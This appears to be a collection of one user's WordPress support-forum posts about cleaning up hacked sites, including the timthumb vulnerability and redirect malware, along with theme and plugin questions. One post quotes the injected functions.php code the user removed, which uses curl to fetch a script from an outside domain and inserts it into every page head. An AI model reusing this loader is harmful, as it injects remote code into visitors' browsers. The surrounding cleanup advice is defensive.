marujobhz

hi, in my case, my site is host in bluehost and redirecting to jqueryc.com. check this post:

i exclude this part of code in file f u n c t i o n s . p h p

<?php if (!function_exists('insert_jquery_des')){function insert_jquery_des(){if (function_exists('curl_init')){$url = "https://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_des');} ?>

it resolvs for me!

ok, i found in another post:
use this to add template tag

<?php
$my_button = '[gn_button link="https://www.xxx.com/" color="#cc0000" size="3" style="1" dark="0" square="1"] Button text! [/gn_button]';
echo do_shortcode( $my_button );
?>

hi. i use fancy box in some sites. but in mimbopro theme, if i active the fancy box plugin, the slider at home brokes. any ideia ghow to fix it?

i verified 2 types of attacks:
1) timthumb vulenerability
https://www.wpbeginner.com/wp-tutorials/how-to-fix-and-cleanup-the-timthumb-hack-in-wordpress/
2) malicious eval code in wpcinfg and others, that redirect the user to other sites.
use findstring to check this (in the begin of this post)
i made this for all sites:
backup all files (themes, wp dirs, etc)
change all passwords (ftp, database)
cleanup all infected files of theme and plugins that i use (other i delete)
reup the files, and reinstall the latest wp version with SFTP, instead FTP. i notice that ftp is giving the new data to hackers. so, it must upload by SFTP.
i made this for 3 sites and now its okay.

and his another, in pt_BR:
https://www.bdibbs.com.br/2011/falha-de-seguranca-no-timthumb

people, the vulnerability is in the timthumb.php script.
check this:
https://www.dataprotectioncenter.com/security/wordpress-sites-hacked-with-superpuperdomain-dot-com-attacking-timthumb-php/
https://www.dataprotectioncenter.com/security/vulnerability-in-timthumb-wordpress-plugins-the-effects/
in pt_BR, my lang, have this post about it:
https://www.noxion.com.br/blog/vulnerabilidade-no-timthumb-expoe-sites-a-malware/

ok, i think now its ok. how i can warn google to retire the alert with malicious. its possible? i install the plugin ‘secure wordpress’, that use ‘werbsite defender’ to scan the website. so, its show me this alerts:
Malware
SpamHaus – DNS1 – ns1.dreamhost.com.
its possible to dreamhost have the virus/malware inside webserver/host?
thanks.
keep in touch to verify and propose solutions.
best regards!

so im run the find string and change the pws, and now i have this result:
its is normal or i have to delete some part of code? i dont see the strange code/script in these files…
./find-string.php -> contains base64_decode
./site/wp-app.php -> contains base64_decode
./site/wp-content/themes/themename/scripts/timthumb.php -> contains base64_decode
./site/wp-content/plugins/shortcodes-ultimate/lib/timthumb.php -> contains base64_decode
./site/wp-content/plugins/gravityforms/form_display.php -> contains base64_decode
./site/wp-includes/class-IXR.php -> contains base64_decode
./site/wp-includes/class-simplepie.php -> contains base64_decode
Could not check ./site/wp-includes/js/jquery.js
thanks!

hi, im doing it. one question: all files listed with “contains base64_decode” are infected?? in my search, the script is listed too: ./find-string.php -> contains base64_decode

i have 2 sites affected, with a php malicious code in index and footer.php files of theme used. i removed both code and change the password of user wp and ftp. its sufficient, or i must do other things?
my sites are hosted on dreamhost too.

hi. i purchase the fullscreen theme, (9$) but it doenst works. i already put the ‘fulscreen’ dir inside wp-content/plugins/galleria-galleria/galleria-themes/
and i see that exists a dir with this same name. what i must do? del the original, and replace with new, put some js inside other dir? thanks if can help me.

ok, Gluten. thanks a lot. it works nice.

other question: if i purchase other themes of galleria, i can use them with this plugin? tks!

Gloria (and 4All), any ideia how i use default with nav? i try but i have not sucess. tks!

hi Gloria,
i just use the Jquery fancy transition in slider type, on theme options > slider > slider type
i want to use ‘default’ mode with arrows. but in default mode arrows doesnt exists.
good luck!
sorry 4 my english!
Marcelo